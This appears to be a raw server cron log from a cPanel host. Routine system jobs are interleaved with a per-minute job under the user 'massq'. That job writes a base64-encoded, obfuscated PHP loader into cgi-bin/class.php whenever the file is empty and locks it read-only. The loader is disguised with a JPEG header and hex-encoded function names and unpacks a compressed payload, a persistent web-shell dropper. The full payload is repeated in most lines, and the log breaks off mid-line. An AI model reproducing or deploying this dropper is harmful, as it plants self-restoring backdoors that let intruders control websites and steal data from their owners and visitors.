Apr 12 19:50:01 server CROND[7683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:50:01 server CROND[7685]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 19:50:01 server CROND[7686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:50:01 server CROND[7688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:50:01 server CROND[7687]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 19:51:01 server CROND[7912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:52:01 server CROND[7980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:53:01 server CROND[8046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:54:01 server CROND[8123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:55:01 server CROND[8250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:55:01 server CROND[8251]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:55:01 server CROND[8252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:56:01 server CROND[8370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:57:01 server CROND[8547]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 19:57:01 server CROND[8549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:58:01 server CROND[8608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:59:01 server CROND[8674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:00:01 server CROND[8747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:00:01 server CROND[8748]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 20:00:01 server CROND[8749]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 20:00:01 server CROND[8750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:00:01 server CROND[8753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:01:01 server CROND[8877]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 20:01:01 server CROND[8878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:01:01 server run-parts(/etc/cron.hourly)[8877]: starting 0anacron
Apr 12 20:01:01 server run-parts(/etc/cron.hourly)[8890]: finished 0anacron
Apr 12 20:02:01 server CROND[9055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:03:01 server CROND[9119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMR